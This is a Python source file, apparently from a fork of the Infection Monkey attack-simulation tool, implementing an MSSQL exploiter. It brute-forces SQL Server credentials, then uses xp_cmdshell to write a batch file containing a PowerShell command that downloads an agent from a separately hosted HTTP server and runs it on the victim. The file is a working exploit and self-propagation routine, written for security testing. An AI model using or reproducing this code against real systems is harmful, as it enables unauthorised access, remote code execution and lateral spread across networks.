forked from p15670423/monkey
236 lines
8.9 KiB
Python
236 lines
8.9 KiB
Python
import logging
|
|
from pathlib import PureWindowsPath
|
|
from time import sleep
|
|
|
|
import pymssql
|
|
|
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
|
from common.utils.exceptions import FailedExploitationError
|
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
|
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
|
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
|
from infection_monkey.i_puppet import ExploiterResultData
|
|
from infection_monkey.model import DROPPER_ARG
|
|
from infection_monkey.transport import LockedHTTPServer
|
|
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
|
from infection_monkey.utils.commands import build_monkey_commandline
|
|
from infection_monkey.utils.threading import interruptible_iter
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
class MSSQLExploiter(HostExploiter):
|
|
_EXPLOITED_SERVICE = "MSSQL"
|
|
LOGIN_TIMEOUT = LONG_REQUEST_TIMEOUT
|
|
QUERY_TIMEOUT = LONG_REQUEST_TIMEOUT
|
|
# Time in seconds to wait between MSSQL queries.
|
|
QUERY_BUFFER = 0.5
|
|
SQL_DEFAULT_TCP_PORT = "1433"
|
|
|
|
# Temporary file that saves commands for monkey's download and execution.
|
|
TMP_FILE_NAME = "tmp_monkey.bat"
|
|
TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir"
|
|
|
|
MAX_XP_CMDSHELL_COMMAND_SIZE = 12800
|
|
|
|
XP_CMDSHELL_COMMAND_START = "xp_cmdshell '"
|
|
XP_CMDSHELL_COMMAND_END = "'"
|
|
MONKEY_DOWNLOAD_COMMAND = (
|
|
"powershell (new-object System.Net.WebClient)."
|
|
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
|
)
|
|
|
|
def __init__(self):
|
|
super().__init__()
|
|
self.cursor = None
|
|
self.agent_http_path = None
|
|
self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME
|
|
|
|
def _exploit_host(self) -> ExploiterResultData:
|
|
"""
|
|
First this method brute forces to get the mssql connection (cursor).
|
|
Also, don't forget to start_monkey_server() before self.upload_monkey() and
|
|
self.stop_monkey_server() after
|
|
"""
|
|
monkey_path_on_victim = get_agent_dst_path(self.host)
|
|
|
|
# Brute force to get connection
|
|
creds = generate_identity_secret_pairs(
|
|
self.options["credentials"]["exploit_user_list"],
|
|
self.options["credentials"]["exploit_password_list"],
|
|
)
|
|
try:
|
|
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
|
except FailedExploitationError:
|
|
logger.info(
|
|
f"Failed brute-forcing of MSSQL server on {self.host},"
|
|
f" no credentials were successful"
|
|
)
|
|
return self.exploit_result
|
|
|
|
if self._is_interrupted():
|
|
self._set_interrupted()
|
|
return self.exploit_result
|
|
|
|
try:
|
|
# Create dir for payload
|
|
self.create_temp_dir()
|
|
|
|
http_thread = self.start_monkey_server(monkey_path_on_victim)
|
|
self.upload_monkey(monkey_path_on_victim)
|
|
MSSQLExploiter._stop_monkey_server(http_thread)
|
|
|
|
self.run_monkey(monkey_path_on_victim)
|
|
|
|
self.remove_temp_dir()
|
|
except Exception as e:
|
|
error_message = (
|
|
f"An unexpected error occurred when trying "
|
|
f"to exploit MSSQL on host {self.host}: {e}"
|
|
)
|
|
|
|
logger.error(error_message)
|
|
self.exploit_result.error_message = error_message
|
|
|
|
return self.exploit_result
|
|
|
|
self.exploit_result.propagation_success = True
|
|
return self.exploit_result
|
|
|
|
def run_payload_file(self):
|
|
self._run_mssql_command(str(self.payload_file_path))
|
|
|
|
def create_temp_dir(self):
|
|
logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}")
|
|
|
|
mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}"
|
|
self._run_mssql_command(mkdir_command)
|
|
|
|
def run_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
|
self._write_agent_launch_command_to_batch_file(monkey_path_on_victim)
|
|
self.run_payload_file()
|
|
|
|
def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim):
|
|
agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
|
self._write_command_to_batch_file(agent_launch_command)
|
|
|
|
def run_mssql_commands(self, cmds):
|
|
for cmd in cmds:
|
|
logger.debug(f"Running command on SQL Server: {cmd}")
|
|
self.cursor.execute(cmd)
|
|
sleep(MSSQLExploiter.QUERY_BUFFER)
|
|
|
|
def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
|
self._write_download_command_to_batch_file(monkey_path_on_victim)
|
|
self.run_payload_file()
|
|
|
|
def remove_temp_dir(self):
|
|
self._run_mssql_command(f"del {self.payload_file_path}")
|
|
self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")
|
|
|
|
def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
|
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
|
self.host, str(monkey_path_on_victim), self.agent_repository
|
|
)
|
|
return http_thread
|
|
|
|
@staticmethod
|
|
def _stop_monkey_server(http_thread):
|
|
http_thread.stop()
|
|
http_thread.join(LONG_REQUEST_TIMEOUT)
|
|
|
|
def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath):
|
|
agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
|
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
|
|
)
|
|
self._write_command_to_batch_file(agent_download_command)
|
|
|
|
def _write_command_to_batch_file(self, command: str):
|
|
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
|
|
self._run_mssql_command(write_to_file_command)
|
|
|
|
# Note: This is a strangler used to replace self.run_mssql_command()
|
|
def _run_mssql_command(self, command: str):
|
|
logger.debug(f"Running command on SQL Server: {command}")
|
|
|
|
self.cursor.execute(f"xp_cmdshell '{command}'")
|
|
self.add_executed_cmd(command)
|
|
|
|
sleep(MSSQLExploiter.QUERY_BUFFER)
|
|
|
|
def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath):
|
|
monkey_args = build_monkey_commandline(
|
|
self.host, self.current_depth - 1, monkey_path_on_victim
|
|
)
|
|
|
|
return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}"
|
|
|
|
def brute_force(self, host, port, users_passwords_pairs_list):
|
|
"""
|
|
Starts the brute force connection attempts and if needed then init the payload process.
|
|
Main loop starts here.
|
|
|
|
Args:
|
|
host (str): Host ip address
|
|
port (str): Tcp port that the host listens to
|
|
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce
|
|
with
|
|
|
|
Return:
|
|
True or False depends if the whole bruteforce and attack process was completed
|
|
successfully or not
|
|
"""
|
|
# Main loop
|
|
# Iterates on users list
|
|
credentials_iterator = interruptible_iter(
|
|
users_passwords_pairs_list,
|
|
self.interrupt,
|
|
"MSSQL exploiter has been interrupted",
|
|
logging.INFO,
|
|
)
|
|
|
|
for user, password in credentials_iterator:
|
|
try:
|
|
# Core steps
|
|
# Trying to connect
|
|
conn = pymssql.connect(
|
|
host,
|
|
user,
|
|
password,
|
|
port=port,
|
|
login_timeout=self.LOGIN_TIMEOUT,
|
|
timeout=self.QUERY_TIMEOUT,
|
|
)
|
|
logger.info(
|
|
f"Successfully connected to host: {host} using user: {user} and password"
|
|
)
|
|
self.exploit_result.exploitation_success = True
|
|
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
|
self.report_login_attempt(True, user, password)
|
|
cursor = conn.cursor()
|
|
return cursor
|
|
except pymssql.OperationalError as err:
|
|
logger.info(f"Connection to MSSQL failed: {err}")
|
|
self.report_login_attempt(False, user, password)
|
|
# Combo didn't work, hopping to the next one
|
|
pass
|
|
|
|
logger.warning(
|
|
"No user/password combo was able to connect to host: {0}:{1}, "
|
|
"aborting brute force".format(host, port)
|
|
)
|
|
raise FailedExploitationError(
|
|
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
|
)
|
|
|
|
|
|
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
|
def __init__(self, command, prefix="", suffix=""):
|
|
super(MSSQLLimitedSizePayload, self).__init__(
|
|
command=command,
|
|
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
|
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
|
|
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END,
|
|
)
|